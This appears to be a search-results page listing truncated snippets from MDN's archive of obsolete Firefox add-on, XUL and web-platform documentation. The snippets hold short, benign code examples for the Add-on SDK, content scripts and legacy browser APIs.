...work together. 2 caching compiled webassembly modules caching, indexeddb, javascript, module, webassembly, compile, wasm caching is useful for improving the performance of an app — we can store compiled webassembly modules on the client so they don't have to be downloaded and compiled every time. this article explains the best practices around this. 3 compiling a
new c/c++ module to webassembly c, c++, compiling, emscripten, webassembly, wasm when you’ve written a
new code module in a language like c/c++, you can compile it into webassembly using a tool like emscripten. let’s look at how it works. 4 compiling an existing c module to webassembly c++, compiling, emscripten, webassembly, wasm a core use-case for webassembly is ...
Communicating With Other Scripts - Archive of obsolete content
<body> <script> function sendmessage() { var event = document.createevent('customevent'); event.initcustomevent("addon-message", true, true, { hello: 'world' }); document.documentelement.dispatchevent(event); } </script> <button onclick="sendmessage()">send message</button> </body> </html> finally, the content script "listen.js" listens for the
new event and retrieves the payload from its detail attribute: window.addeventlistener("addon-message", function(event) { console.log(json.stringify(event.detail)); }, false); ...
Cross-domain Content Scripts - Archive of obsolete content
the forecast: <!doctype html> <!-- panel.html --> <html> <head></head> <body> <div id="forecast_summary"></div> </body> </html> the "panel-script.js" uses xmlhttprequest to fetch the latest forecast: // panel-script.js var url = "http://datapoint.metoffice.gov.uk/public/data/txt/wxfcs/regionalforecast/json/500?key=your-api-key"; self.port.on("show", function () { var request =
new xmlhttprequest(); request.open("get", url, true); request.onload = function () { var jsonresponse = json.parse(request.responsetext); var summary = getsummary(jsonresponse); var element = document.getelementbyid("forecast_summary"); element.textcontent = summary; }; request.send(); }); function getsummary(forecast) { return forecast.regionalfcst.fcstperiods.period[0].pa...
Reddit Example - Archive of obsolete content
to accomplish this the add-on needs to run a content script in the context of the reddit page which intercepts mouse clicks on each title link and fetches the link's target url. ...
Modules - Archive of obsolete content
ies defined by the script being loaded on its global object are exported to the loading script. the script loader we obtained from components allows us to do just that: function loadscript(url) { let global = {}; loader.loadsubscript(url, global); return global; } if present, the loadsubscript function evaluates the script to be loaded in the scope of the second argument. ...
Module structure of the SDK - Archive of obsolete content
it can then load them in the same way it would load a local module. for example, to load from main: // main.js code var geo = require("./dependencies/geolocation"); freezing the sdk freezes the exports object returned by require. so a if you import a module using require, you can't change the properties of the object returned: self = require("sdk/self"); // attempting to define a
new property // will fail, or throw an exception in strict mode self.foo = 1; // attempting to modify an existing property // will fail, or throw an exception in strict mode self.data = "foo"; using modules from outside the add-on sdk you can use commonjs modules outside the add-on sdk, in any environment where you can use components.utils.import. just call the following: const { require } = cu.i...
Porting the Library Detector - Archive of obsolete content
separation the test objects in the original script need access to the dom window object, so in the sdk port, they need to run in a content script. in fact, they need access to the un-proxied dom window, so they can see the objects added by libraries, so we’ll need to use the experimental unsafewindow. the main add-on script, main.js, will use a page-mod to inject the content script into every
new page. the content script, which we'll call library-detector.js, will keep most of the logic of the test functions intact. however, instead of maintaining its own state by listening for gbrowser events and updating the user interface, the content script will just run when it's loaded, collect the array of library names, and post it back to main.js: function testlibraries() { var win = unsafewi...
Program ID - Archive of obsolete content
the program id is a unique identifier for your add-on. when you package your add-on for distribution using jpm xpi, it will become the id field in the add-on's install manifest. the id is used for a variety of purposes. for example: addons.mozilla.org uses it to distinguish between
new add-ons and updates to existing add-ons, and the simple-storage module uses it to figure out which stored data belongs to which add-on. when you create an xpi with jpm xpi: if the package.json does not include an id field, then the id written into the install.rdf is the value of the name field prepended with "@". if the package.json does include an id field, and it contains "@", then this is written into the install.rdf as the add-on id. if the package.json does include an id field, and it does not cont...
ui - Archive of obsolete content
can only add frames to a toolbar. you initialize a frame with a url pointing to an html document supplied under your add-on's "data" directory. this document can refer to bundled css and javascript files, and your main add-on can communicate with a frame script using message passing. once you've created a frame you need to add it to a toolbar. toolbar the ability to add buttons to toolbars is
new in firefox 30. in firefox 29 you can only add frames to toolbars. a toolbar gives you a horizontal strip of space which you can use for presenting a more complex user interface. you initialize a toolbar with an array of buttons and frames: var ui = require("sdk/ui"); var { actionbutton } = require("sdk/ui/button/action"); var { toolbar } = require("sdk/ui/toolbar"); var { frame } = require("s...
High-Level APIs - Archive of obsolete content
nvironment and access arguments passed to it. tabs open, manipulate, and access tabs, and receive tab events. timers set one-off and periodic timers. ui provides access to button, toolbar, and sidebar ui objects. url construct, validate, and parse urls. widget create a simple user interface for an add-on in firefox's add-on bar. windows enumerate and examine open browser windows, open
new windows, and listen for window events. ...
content/symbiont - Archive of obsolete content
y sdk modules that can load web content and attach content scripts to it. usage a symbiont loads the specified contenturl and content scripts into a frame, and sets up an asynchronous channel between the content scripts and the add-on code, enabling them to exchange messages using the port or postmessage apis. you map optionally pass a frame into the symbiont's constructor: if you don't, then a
new hidden frame will be created to host the content. this trait is composed from the loader and worker traits. it inherits functions to load and configure content scripts from the loader, and functions to exchange messages between content scripts and the main add-on code from the worker. var { symbiont } = require('sdk/content/content'); var thing = symbiont.resolve({ constructor: '_init' }).compo...
frame/hidden-frame - Archive of obsolete content
isplayed to the user. this is useful in the construction of apis that load web content not intended to be directly seen or accessed by users, like page-worker. it is also useful in the construction of apis that load web content for intermittent display, such as panel. usage the module exports a constructor function, hiddenframe, and two other functions, add and remove. hiddenframe constructs a
new hidden frame. add registers a hidden frame, preparing it to load content. remove unregisters a frame, unloading any content that was loaded in it. the following code creates a hidden frame, loads a web page into it, and then logs its title: var hiddenframes = require("sdk/frame/hidden-frame"); let hiddenframe = hiddenframes.add(hiddenframes.hiddenframe({ onready: function() { this.element...
io/file - Archive of obsolete content
le number of strings to join. the first string must be an absolute path. returns string : a single string formed by joining the strings on the file system's path separator. list(path) returns an array of file names in the given directory. parameters path : string the path of the directory. returns array : an array of file names. each is a basename, not a full path. mkpath(path) makes a
new directory named by the given path. any subdirectories that do not exist are also created. mkpath can be called multiple times on the same path. parameters path : string the path to create. open(path, mode) returns a stream providing access to the contents of a file. parameters path : string the path of the file to open. mode : string an optional string, each character of which describes...
loader/sandbox - Archive of obsolete content
ptional argument: evaluate(scope, 'let b = 2;', 'bar.js', 1, '1.5'); // throws cause `let` is not defined in js 1.5. load scripts this module provides a limited api for loading scripts from local urls. data: urls are supported. load(scope, 'resource://path/to/my/script.js'); load(scope, 'file:///path/to/script.js'); load(scope, 'data:,var a = 5;'); globals functions sandbox(source) make a
new sandbox that inherits principals from source. parameters source : string|window|null an object that determines the privileges that will be given to the sandbox. this argument can be: a uri string, giving the sandbox the same privileges as a script loaded from that url a dom window object, giving the sandbox the same privileges as the dom window null, to give the sandbox chrome privileges.
net/xhr - Archive of obsolete content
, and possibly a special scheme that can be used to access the add-on's packaged, read-only resources. finally, we need to also consider attenuating http/https requests such that they're "sandboxed" and don't communicate potentially sensitive cookie information. globals constructors xmlhttprequest() creates an xmlhttprequest. this is a constructor, so its use should always be preceded by the
new operator. for more information about xmlhttprequest objects, see the mdn page on using xmlhttprequest and the security concerns section in this page. functions forceallowthirdpartycookie(xhr) force relevant cookies to be sent with this xmlhttprequest even if normally they would not be. parameters xhr: xmlhttprequest the xmlhttprequest to allow third-party cookies for. ...
system/child_process - Archive of obsolete content
since it emulates the node.js child_process api, it's not documented separately here. however, there are a few differences to be aware of: you need to require() the module using require("sdk/system/child_process") fork() is not supported gid and uid are not supported in node.js, spawn() and exec() inherit the environment variables from the parent process, by default. ...
test/httpd - Archive of obsolete content
re running this code in an application that has an event loop, such as firefox). the server listens at http://localhost:port/ and serves files from the specified directory. you can serve static content or use sjs scripts, as described in documentation on developer.mozilla.org. you can also use nshttpserver to start the server manually: var { nshttpserver } = require("sdk/test/httpd"); var srv =
new nshttpserver(); // further documentation on developer.mozilla.org see http server for unit tests for general information. ...
util/list - Archive of obsolete content
for the length property. examples: var { list } = require("sdk/util/list"); var mylist = list.compose({ add: function add(item1, item2, /*item3...*/) { array.slice(arguments).foreach(this._add.bind(this)); }, remove: function remove(item1, item2, /*item3...*/) { array.slice(arguments).foreach(this._remove.bind(this)); } }); mylist('foo', 'bar', 'baz').length == 3; // true
new mylist('
new', 'keyword').length == 2; // true mylist.apply(null, [1, 2, 3]).length == 3; // true let list = mylist(); list.length == 0; // true list.add(1, 2, 3) == 3; // true properties length number of elements in this list. ...
util/object - Archive of obsolete content
). let { extend } = require("sdk/util/object"); var a = { alpha: "a" }; var b = { beta: "b" }; var g = { gamma: "g", alpha: null }; var x = extend(a, b, g); console.log(a); // { alpha: "a" } console.log(b); // { beta: "b" } console.log(g); // { gamma: "g", alpha: null } console.log(x); // { alpha: null, beta: "b", gamma: "g" } parameters arguments : object n arguments that get merged into a
new object. returns object : the
new, merged object. ...
Low-Level APIs - Archive of obsolete content
modules in this section implement low-level apis. these modules fall roughly into three categories: fundamental utilities such as collection. many add-ons are likely to want to use modules from this category. building blocks for higher level modules, such as events and worker. you're more likely to use these if you are building your own modules that implement
new apis, thus extending the sdk itself. privileged modules that expose powerful low-level capabilities such as window/utils and net/xhr. you can use these modules in your add-on if you need to, but should be aware that the cost of privileged access is the need to take more elaborate security precautions. in many cases these modules have simpler, more restricted analogs among the "high-level apis" (for example, windows...
console - Archive of obsolete content
sage"); error: my-addon: this is an error message console.exception(exception) logs the given exception instance as an error, outputting information about the exception's stack traceback if one is available. try { dothing(); } catch (e) { console.exception(e); } function userexception(message) { this.message = message; this.name = "userexception"; } function dothing() { throw
new userexception("thing could not be done!"); } error: my-addon: an exception occurred. userexception: thing could not be done! console.info(object[, object, ...]) a synonym for console.log(). console.log(object[, object, ...]) logs the arguments to the console, preceded by "info:" and the name of your add-on: console.log("this is an informational message"); info: my-addon: this is an inform...
jpm-mobile - Archive of obsolete content
m you do, so try searching the list. you're welcome to post a question, too. you can also chat with other sdk users in #jetpack on mozilla's irc network. command reference there are currently two jpm commands: jpm-mobile run launch an instance of firefox with your add-on installed. jpm-mobile test runs your add-on's unit tests. jpm-mobile run this command runs a
new instance of firefox with the add-on installed: jpm-mobile run jpm-mobile run accepts the following options: --adb /path/to/adb provides the path to adb. -b --binary binary use the package name of firefox specified in binary. jpm-mobile run -b fennec you can get the package name by following command. $ adb shell pm list packages | grep org.mozilla pac...
Add a Menu Item to Firefox - Archive of obsolete content
the sdk doesn't provide a built-in api to add
new menu items to firefox. but it's extensible by design, so anyone can build and publish modules for add-on developers to use. to see how to use third-party modules to add a
new menu item, see the tutorial on using third-party modules with jpm. ...
Overview - Archive of obsolete content
the different sdk objects. we could represent the basic interactions between the main module and the various content scripts like this: user interface the annotator's main user interface consists of a widget and three panels. the widget is used to switch the annotator on and off, and to display a list of all the stored annotations. the annotation-editor panel enables the user to enter a
new annotation. the annotation-list panel shows a list of all stored annotations. the annotation panel displays a single annotation. additionally, we use the notifications module to notify the user when the add-on's storage quota is full. working with the dom we'll use two page-mods to interact with the doms of pages that the user has opened. the selector enables the user to choose an ele...
Display a Popup - Archive of obsolete content
text) { console.log(text); text_entry.hide(); }); the content script "get-text.js" looks like this: // when the user hits return, send the "text-entered" // message to main.js. // the message payload is the contents of the edit box. var textarea = document.getelementbyid("edit-box"); textarea.addeventlistener('keyup', function onkeyup(event) { if (event.keycode == 13) { // remove the
newline. text = textarea.value.replace(/(\r\n|\n|\r)/gm,""); self.port.emit("text-entered", text); textarea.value = ''; } }, false); // listen for the "show" event being sent from the // main add-on code. it means that the panel's about // to be shown. // // set the focus to the text area so the user can // just start typing. self.port.on("show", function onshow() { textarea.focus(); ...
Listen for Page Load - Archive of obsolete content
the following add-on listens to the tab's built-in ready event and just logs the url of each tab as the user loads it: require("sdk/tabs").on("ready", logurl); function logurl(tab) { console.log(tab.url); } you will find this console output in the browser console, not the web console. you don't get direct access to any content hosted in the tab. to access tab content you need to attach a script to the tab using tab.attach(). this add-on attaches a script to all open tabs. ...
Logging - Archive of obsolete content
d-on code, the sdk provides its own global console object with most of the same methods as the dom console, including methods to log error, warning, or informational messages. you don't have to require() anything to get access to the console. it is automatically made available to you. the console.log() method prints an informational message: console.log("hello world"); try it out: create a
new directory, and navigate to it execute jpm init, accepting all the defaults open "index.js" and add the line above execute jpm run firefox will start, and the following line will appear in the command window you used to execute jpm run: info: hello world! console in content scripts you can use the console in content scripts as well as in your main add-on code. the following add-on logs th...
Developing for Firefox Mobile - Archive of obsolete content
see developing webextensions for firefox for android to learn more about development of webextensions for firefox for android. to follow this tutorial you'll need to have learned the basics of jpm. firefox for android implements its ui using native android widgets instead of xul. with the add-on sdk you can develop add-ons that run on this
new version of firefox mobile as well as on the desktop version of firefox. you can use the same code to target both desktop firefox and firefox mobile, and use jpm-mobile instead of the normal jpm. right now not all modules are fully functional, but we're working on adding support for more modules. the tables at the end of this guide list the modules that are currently supported on firefox mobile. this tutorial explains how to run sdk add-ons on an...
Open a Web Page - Archive of obsolete content
to do this, pass a callback function into open(). the callback is assigned to the onready property, and will be passed the tab as an argument: var tabs = require("sdk/tabs"); tabs.open({ url: "http://www.example.com", onready: function onready(tab) { console.log(tab.title); } }); even then, you don't get direct access to any content hosted in the tab. ...
Unit Testing - Archive of obsolete content
a web page, you can perform base64 encoding and decoding using the btoa() and atob() functions. unfortunately these functions are attached to the window object: since this object is not available in your main add-on code, atob() and btoa() aren't available either. so we'll create a base64 module to expose these functions from the platform (see creating reusable modules). to begin with, create a
new directory, navigate to it, and run jpm init. now create a
new file called "base64.js", and give it the following contents: const { atob, btoa } = require("resource://gre/modules/services.jsm"); exports.atob = a => atob(a); exports.btoa = b => btoa(b); this code exports two functions, which just call the platform's btoa() and atob() functions. to show the module in use, edit the "index.js" fil...
Tutorials - Archive of obsolete content
ng jpm. create user interfaces add a toolbar button attach a button to the firefox add-on toolbar. add a menu item to firefox add items to firefox's main menus. display a popup display a popup dialog implemented with html and javascript. add a context menu item add items to firefox's context menu. interact with the browser open a web page open a web page in a
new browser tab or window using the tabs module, and access its content. listen for page load use the tabs module to get notified when
new web pages are loaded, and access their content. get the list of open tabs use the tabs module to iterate through the currently open tabs, and access their content. modify web pages modify web pages based on url create filters for web pages b...
Label and description - Archive of obsolete content
, a description will not break long-running text and the text may be cropped or hidden. to cause the text to wrap: ensure the long-running text is a text node child of <description/> or <label/> (i.e., do not specify the long-running text in the value attribute of these elements). the default style for these xul elements includes white-space: wrap;. this reduces all whitespace chunks (including
newlines) to single spaces. text is permitted to wrap. <description>i am your father's brother's nephew's cousin's former roommate. what's that make us? absolutely nothing!</description> with white-space: pre; all whitespace, including
newlines, is rendered literally. text cannot wrap automatically but can still be achieved with <html:br/> if desired. <description style="white-space: pre-wrap;">i...
On page load - Archive of obsolete content
if you need finer control over custom code execution—for example, as documents are loading or when tabs are switched—see progress listeners. progress listeners allow extensions to be notified of events associated with documents loading in the browser and with tab switching events. progress listeners implement the nsiwebprogresslistener interface. ...
SVG General - Archive of obsolete content
nt: <svg xmlns="http://www.w3.org/2000/svg"> <!-- svg elements go here --> </svg> note: it is recommended that you do not use dtd's with svg documents. the tutorial and authoring guidelines have more information. dynamic scripting helper this little helper script can be used to simplify creation of svg elements in script. svg requires you to use setattributens to add attributes to a
newly created svg dom element. no properties like html. svg image also requires the use of xlink for the href attribute, which can be tricky to remember, especially when you're mixing svg with html or xul. here is the script: var svgns = "http://www.w3.org/2000/svg"; var xlinkns = "http://www.w3.org/1999/xlink"; var attr_map = { "classname": "class", "svghref": "href" } var ns_map = { "svg...
Toolbar - Archive of obsolete content
e user has to drag it onto the toolbar. the following code will place your button on the toolbar by default. this should only be done on the first run of your add-on after installation so that if the user decides to remove your button, it doesn't show up again every time they start the application. notes insert your button by default only once, at first run, or when an extension update adds a
new button. please only add your button by default if it adds real value to the user and will be a frequent entry point to your extension. you must not insert your toolbar button between any of the following elements: the combined back/forward button, the location bar, the stop botton, or the reload button. these elements have special behaviors when placed next to eachother, and will break if separ...
XPath - Archive of obsolete content
ssion,contextnode,namespaceresolver,resulttype,result); //obj and contextnode should be the same object, if context is a ajax xml object (example: returnedxml) this should be used as : returnedxml.evaluate(xpathexpression,returnedxml,namespaceresolver,returntype,result); //contextnode should be used in the one in which it was created //add by mooring 2008-11-15 16:00 china var xhr =
new ajax('post','demo.xml',parsexml,'xml'); //ajax is a class written by javascript which return responsexml object to parsexml function function parsexml(obj)//obj is the returnxml object now { if(!obj.documentelement) { alert("your browser does't support this script!"); return; } var fields = [];//store the results if(window.activexobject) { var tobj = obj.documentelement.selectnode...
Communication between HTML and your extension - Archive of obsolete content
into the statechanged function that was handling the receipt of the ajax request. after the html component was update with the result of the ajax request, i created and dispatched the event like this: var event = document.createevent("events"); event.initevent("my-custom-event", true, true); document.body.dispatchevent(event); in the code of the extension that catches the loading of a
new page i added this code: var doc = aevent.originaltarget; // doc is document that triggered "onload" event // do something with the loaded page. // doc.location is a location object (see below for a link). // you can use it to make your code executed on certain pages only. if (doc && doc.addeventlistener) doc.addeventlistener("my-custom-event", myextension.customreceived, false...
Developing add-ons - Archive of obsolete content
e based on the mozilla platform, as well as how to distribute your add-ons. add-ons topics submitting an add-on to amo provides helpful information for add-on developers to help them properly package and deliver their add-ons. this includes information about addons.mozilla.org, mozilla's add-on distribution web site. extensions extensions add
new functionality to mozilla applications such as firefox, seamonkey and thunderbird. they can add anything from a toolbar button to a completely
new feature. plugins information about how to create plugins, which are binary components that let mozilla based software display content they can't handle natively. jetpack browser extension development for everyone. jetpack developers ...
Extension Theming Guidelines - Archive of obsolete content
ould exist in a chrome skin package. custom themes may then register a replacement for your skin package allowing them to provide their own styles for all of your content. branding certain items of your extensions style, in particular logos and icons can be kept in the chrome content package such that they are not replaceable by custom themes stylesheets guidelines include stylesheets for every
new window that your extension adds and for every window that your extension overlays content into be sure to add a stylesheet from your chrome skin package. while it may be tempting to use the same stylesheet in multiple places try to avoid this so that themes can correctly target the right windows. css selectors when writing stylesheet rules for windows that you are overlaying always try to be spe...
Extension Etiquette - Archive of obsolete content
ingly — only for tasks that are done frequently or on specific elements of a web page. focus don't steal focus. it's not your extension's job to take focus from the web content. if the user loads a website and they ask for focus, they should get it. overriding their request isn't very nice. about dialogs there is a default popup about dialog that is created from install.rdf data; creating a
new xul about box is usually unnecessary. you can decrease download size by omitting a customized about box. make one only if you have a special feature that needs to be included — for example, a custom updater. theming if you have xul buttons in your extension that do functions similar to ones that already exist in a browser — for example, a feed reader that reloads and stops — use icons fro...
Hiding browser chrome - Archive of obsolete content
s well as other extensions. use the technique demonstrated here. var prevfunc = xulbrowserwindow.hidechromeforlocation; xulbrowserwindow.hidechromeforlocation = function(alocation) { return (/* your test goes here */) || prevfunc.apply(xulbrowserwindow, [alocation]); } this works by saving a reference to the current implementation of the hidechromeforlocation() method, then replacing it with a
new method that calls through to the previous implementation. by chaining multiple implementations of the method together in this way, everyone that wants to hide chrome can do so when appropriate. ...
Jetpack Processes - Archive of obsolete content
me. unregisterreceiver(amessagename, areceiver) similar to nsijetpack.unregisterreceiver(), this function unregisters a callback previously registered with registerreceiver(). unregisterreceivers(amessagename) similar to nsijetpack.unregisterreceivers(), this function unregisters all callbacks for the given message name. createhandle() similar to nsijetpack.createhandle(), this function creates a
new handle and returns it. createsandbox() this creates a
new javascript sandbox and returns its global scope. this global scope does not contain privileged apis, or any non-standard javascript objects for that matter, though
new globals can be endowed by simply attaching them to the global scope as properties. evalinsandbox(asandbox, ascript) evaluates the given script contents in the given sandbox'...
Chapter 1: Introduction to Extensions - Archive of obsolete content
hance features that already exist in firefox. tab mix plus offers detailed tab-related settings. prefbar gives access to numerous preferences from the toolbar. noscript enables and disables javascript execution on a site-by-site basis. web application integration extensions fixme: update this. the use the apis of certain web applications to provide certain pieces of information.
new feature extensions fixme: update this. extensions can add completely
new features to firefox. this class of extension requires a greater level of knowledge and programming ability. greasemonkey userchrome.js both of these provide an environment for running user scripts (javascript) in firefox itself, where the scripts can target specific websites. adblock plus blocks the display of un...
Chapter 3: Introduction to XUL—How to build a more intuitive UI - Archive of obsolete content
it using its id attribute, which we set as the value for the context attribute on any other xul element. when we right-click on that xul element, we reference that menupopup element by its id, and display its contents as a contextual menu. listing 12 shows an example. <button label="send" oncommand="send();" context="button-context"/> <menupopup id="button-context"> <menuitem label="send with
new tab" oncommand="sendin
newtab();"/> </menupopup> buttons buttons that users can click on are defined using the button element. to show one with an icon as shown in figure 8, define an image's uri as the value for the image attribute. note: to see this sample in operation, use any image as the one to display and place it in the same folder as the xul document. using the icon attribute instead ...
Appendix A: Add-on Performance - Archive of obsolete content
add-ons can have a noticeable performance impact on firefox. this is evident when opening a firefox profile that has many add-ons installed; some profiles can take minutes to load, which is a serious inconvenience for users that gives them a negative view of firefox. add-on developers need to make sure that they minimize their add-ons' performance impact, and here are a few simple guidelines that should be followed to achieve that. startup this is the area where add-ons have the most noticeable impact. ...
Connecting to Remote Content - Archive of obsolete content
tion(aevent) { window.alert("error status: " + aevent.target.status); }; request.open("get", url, true); request.send(null); in this example we demonstrate how to make a xmlhttprequest call in asynchronous mode. you can see that an instance of the xmlhttprequest class is created and it holds all functionality for making a request. we create this instance using xpcom instead of the usual way (
new xmlhttprequest()) because this way works both in chrome and non-chrome code. following initialization, onload and onerror handlers are registered to a callback function to handle the response returned from the remote server. in both cases aevent.target is an nsixmlhttprequest. in the onload callback function, the responsetext parameter contains the server response as text. if the response is an...
Useful Mozilla Community Sites - Archive of obsolete content
he public amo site, where everyone can see it and install it. the review process often takes a few weeks. just be patient and make sure your extension follows amo's policies when you nominate it. you can still get a good number of downloads while being in the sandbox. one of the main advantages of using amo is that it handles updates automatically for published add-ons. you just need to upload a
new version of your extension, and once it's approved it will be pushed as an update to all your users. if you decide to host your own extension, you'll have to learn about the update system in order to push your own updates. babelzilla babelzilla is a worldwide community of localizers. developers submit their extensions using the web translation system (wts) and volunteers around the world transla...
Overlay extensions - Archive of obsolete content
ed code, such as tabbrowser and javascript modules, to interact with the application and content. prior to firefox 4, and the gecko 2 engine that powers it, this was the only way to develop extensions. this methodology has largely been superseded by restartless extensions, and the add-on sdk, which is built on top of them. the privileged javascript apis described here can still be used in these
newer types of add-ons. xul school xul school is a comprehensive add-on development tutorial, focusing on firefox extension development but mostly applicable to other gecko-based applications. more resources setting up your environment setting up the application for extension development. xul tutorials and reference for the user interface language used by xul extensions. code snippets sa...
Performance best practices in extensions - Archive of obsolete content
thing. there is a down side to this: poorly written extensions can have a severe impact on the browsing experience, including on the overall performance of firefox itself. this article offers some best practices and suggestions that can not only improve the performance and speed of your extension, but also of firefox itself. improving startup performance extensions are loaded and run whenever a
new browser window opens. that means every time a window opens, your extension can have an impact on how long it takes the user to see the content they're trying to view. there are several things you can do to reduce the amount of time your extension delays the appearance of the user's desired content. load only what you need, when you need it don't load things during startup that are only needed i...
Security best practices in extensions - Archive of obsolete content
lude other scripts, there are a number of things you can do to ensure their integrity and safety for users. the first is to always get it from a trusted source. another thing you should do is namespace it just in case other add-ons include it. for example, if you're using jquery, there's jquery.noconflict(). conclusion security can't be taken for granted, and for every release of your add-on, a
new security audit should take place. a good place to keep up with mozilla security announcements and security discussion is at the mozilla security blog. ...
Session store API - Archive of obsolete content
quitting and being relaunched. this is something you may need to keep in mind if you rely on the behavior of the session store system. the session restore process the exact sequence of events that occurs when a session is being restored is: a session state is about to be restored. this can be on startup or in response to undo close tab, since closed tabs are restored as single-tab sessions.
new windows are opened as required (one for each window that was saved in the session store), and cookies and the list of recently closed tabs are restored. after that, the following steps are taken for each tab being restored: either an existing tab is reused or a
new tab is created. in the latter case, a tabopen event is sent. the tab's persistent xul attributes (those saved due to calls to p...
Supporting search suggestions in search plugins - Archive of obsolete content
firefox supports search suggestions in opensearch plugins; as the user types in the search bar, firefox queries the url specified by the search plugin to fetch live search suggestions. once the list has been retrieved, it's displayed in a popup box that appears under the search bar, which lets the user select a suggested search term. if the user continues to type, a
new set of suggestions is requested from the search engine, and the displayed list is refreshed. implementing suggestion support in the search plugin to support search suggestions, a search plugin needs to define an extra <url> element with its type attribute set to "application/x-suggestions+json". (this means that a suggestion-supporting engine plugin will have two <url> elements, the other one being the main text/htm...
Firefox addons developer guide - Archive of obsolete content
ay some interesting part of firefox like status bar, menus or toolbar) add previous/next at the end of each chapter questions: opensource appendix. should we keep this part ? gen's opinion: yes, because it is important for developers to make informed decisions regarding oss licenses and it was a part of the original guide. opinions: i think we should be careful about adding
new contents to this guide. the original version of this guide was written as a first step guide for beginners. if we add too much topics, they possibly make learners weary. an alternative idea: writing a "next step" guide for interested people such as adding statusbar buttons, sidebar panels, and so on. (by piro) i do think this guide should cover more advanced topics as well. there already is...
Add-ons - Archive of obsolete content
he add-ons wiki. how to convert an overlay extension to restartless first off, what kind of add-on are we talking about here? well, xul overlays and windows, jsm files, chrome & resource mappings with localization, default preferences, but no xpcom components of your own. some of that will have to be replaced and the rest will need to be loaded differently. inline options firefox 7 supports a
new syntax for defining extensions' preferences for both bootstrapped and traditional extensions. the user interface for the preferences defined with this
new syntax appears in the extension's detail view in the add-on manager. this functionality originally appeared in firefox mobile and is now available in firefox on the desktop as well. install manifests an install manifest is the file an add-on ...
DOMSubtreeModified - Archive of obsolete content
this event can cause infinite loops if you decide to change the dom inside the event handler, hence it has been disabled in a number of browsers (see domattrmodified and domsubtreemodified events are no longer fired when style attribute is changed via cssom for example). document.body.addeventlistener('domsubtreemodified', function () { document.title = 'dom changed at ' +
new date(); }, false); ...
updateready - Archive of obsolete content
general info specification offline interface event bubbles no cancelable no target applicationcache default action none properties property type description target eventtarget (dom element) the event target (the topmost target in the dom tree). read only. type string the type of event. read only. canbubble boolean does the event normally bubble? read only. ...
Install.js - Archive of obsolete content
in particular plugin developers should see how to package a plugin as an extension. to make your extension install in mozilla suite, seamonkey, mozilla firefox pre-0.9 and mozilla thunderbird pre-0.7, you need to have an install.js file in the root of your xpi file. ...
Images, Tables, and Mysterious Gaps - Archive of obsolete content
er the "standards"rendering mode. you can do this by using a doctype that will trigger either "quirks" mode or "almost standards" mode, or not having a doctype appear in your document at all. the lack of a doctype will prevent validation, and so is not recommended. for authors who are working with legacy documents, a "quirks" mode doctype is the best choice. in cases where an author is writing a
new document or trying to migrate a design to be as standards-based as possible, then "almost standards" mode is probably a better choice. of course, documents authored in xhtml strict or html strict will trigger the "standards" rendering mode, so we're going to go through two basic ways to address the problem in strict documents, and a number of ways to call on these "fixes." setting images to be ...
Monitoring WiFi access points - Archive of obsolete content
on(iid) { netscape.security.privilegemanager.enableprivilege('universalxpconnect'); if (iid.equals(components.interfaces.nsiwifilistener) || iid.equals(components.interfaces.nsisupports)) return this; throw components.results.ns_error_no_interface; }, } netscape.security.privilegemanager.enableprivilege('universalxpconnect'); var listener =
new test(); var wifi_service = components.classes["@mozilla.org/wifi/monitor;1"].getservice(components.interfaces.nsiwifimonitor); wifi_service.startwatching(listener); </script> </head> <body> <div id="d"><p></p></div> <div id="c"><p></p></div> </body> </html> the nsiwifilistener object the first thing the code above does is to prototype the listener object that will be receiving notificatio...
No Proxy For configuration - Archive of obsolete content
tranet, and should not be accessed via the proxy server. due to various limitations, this feature should be used for only the most simple blacklist scenarios. in almost all cases, pac gives better control and flexibility. user interface "no proxy for" is an optional field, part of "manual proxy configuration". the field is relatively short, but can hold reasonably long (2k+ characters) entries.
new profiles contain the values "localhost, 127.0.0.1", by default. entry points: preferences | advanced | proxies control-click menu for off line-online icon (network plug) configuration the no proxy list is composed of either domain elements or ipv4 address elements. the elements are separated by either a space (" ") or a comma (","). note for former-ie users: "*" is supported only at th...
Same-origin policy for file: URIs - Archive of obsolete content
on set, call to window.open(), or the like. for example, if the file /home/user/foo.html is a frameset and one of the frames is /home/user/subdir/bar.html, the frame and frameset are considered to share the same origin. on the other hand, if the file /home/user/subdir/foo.html is a frameset and the frame is /home/user/bar.html, the frame and frameset are considered to have different origins. the
new security.fileuri.strict_origin_policy preference, which defaults to true, can be set to false if the user doesn't want to strictly enforce the same origin policy on file: uris. ...
Source Navigator - Archive of obsolete content
te the following line in a terminal window: sudo apt-get install sourcenav this should install source-navigator. one can check whether the installation is complete by executing: $ which snavigator /usr/bin/snavigator importing the source execute the following: snavigator. this triggers a splash screen, followed by a "source-navigator projects" dialog as the following: i've already created a
new project bin.proj before documenting this. if this is your first time to open source navigator, the big white box on the left of the dialog should contain no lines. click "
new project". this shows the "auto-create project" dialog: which allows you to decide your filename of the project file (which ends in .proj) and your source directory/directories that you want to import into the project. (you ...
Using content preferences - Archive of obsolete content
nce and then retrieve its value. var iosvc = components.classes["@mozilla.org/network/io-service;1"] .getservice(components.interfaces.nsiioservice); var prefservice = components.classes["@mozilla.org/content-pref/service;1"] .getservice(components.interfaces.nsicontentprefservice); // create a uri object referencing the site to save a preference for var uri = iosvc.
newuri("http://developer.mozilla.org/", null, null); // set the value of the "devmo.somesetting" preference to "foo". prefservice.setpref(uri, "devmo.somesetting", "foo"); ... // retrieve the value of the "devmo.somesetting" preference. var value = prefservice.getpref(uri, "devmo.somesetting"); built-in site-specific preferences preference name menu equivalent values notes ...
Working with BFCache - Archive of obsolete content
q: what is the bfcache exactly? a: bfcache stands for back-forward cache. for more info about this, read how to use firefox caching. q: when a user clicks a link that replaces the view in the current tab with a
new page, what is the fate of the nsidomwindow supporting the view they click on? or: what happens when they hit the 'back' button? a: the outer nsidomwindow (the |window| object in content js, aka the <browser>'s contentwindow object in the parent document) stays right where it is. it just has its inner window and document replaced. the inner nsidomwindow (the global scope object in content js) is either thrown away when gc happens, or frozen and placed in the bfcache. when the user hits the 'back' button, either the window in bfcache is thawed or a
new inner window is create...
Autodial for Windows NT - Archive of obsolete content
re whenever you are not connected to the lan, it's probably better to use the control panel | internet options | connections options. select "dial whenever a network connection is not present" or "always dial my default connection". these two behave the same for mozilla, and trigger autodial when you fail to reach a requested address. issues there have been a few bug reports filed against this
new feature that are the result of the fact that mozilla now looks at the control panel | internet options | connections settings. some users have had the autodial setting turned on, but mozilla never triggered them before. starting in mozilla 1.1, autodial is triggered whenever an address can't be reached (mozilla now mimics the remote access autodial service.) see bug 160846, bug 167624, and bug 16...
